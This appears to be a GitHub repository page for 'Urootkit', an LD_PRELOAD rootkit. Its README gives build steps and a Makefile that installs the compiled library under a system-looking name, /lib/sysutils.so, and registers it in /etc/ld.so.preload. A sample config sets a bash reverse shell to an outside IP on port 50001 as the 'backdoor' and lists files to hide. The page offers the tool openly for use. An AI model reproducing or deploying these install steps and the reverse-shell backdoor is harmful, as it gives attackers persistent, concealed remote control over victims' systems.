Skip to content

Alex0Young/Urootkit

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

7 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Urootkit

The userland LD_PRELOAD rootkit Reference: https://github.com/ngn13/cerez

Make

apt update && apt install build-essential libconfig-dev

make && make install

Makefile:

SRCS = $(wildcard *.c)
HEADERS = $(wildcard *.h)

dist/loader.so: $(SRCS) $(HEADERS)
	mkdir -p dist
	gcc -shared -fPIC $(SRCS) -o $@ -ldl -lconfig -nostartfiles

install:
	cp ukk_root.cfg /etc/ukk_root.cfg
	cp dist/loader.so /lib/sysutils.so 
	echo /lib/sysutils.so > /etc/ld.so.preload

USE

ukk_root.cfg:

backdoor = "bash -c 'bash -i >& /dev/tcp/123.123.123.123/50001 0>&1'";

hidden = (  
  { path = "/etc/uroot.cfg" },
  { path = "/tmp/test" }
);
  • backdoor: is the urootkit will do when the hooked function is runing
  • hidden: the path you want to hide

About

the userland LD_PRELOAD rootkit

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published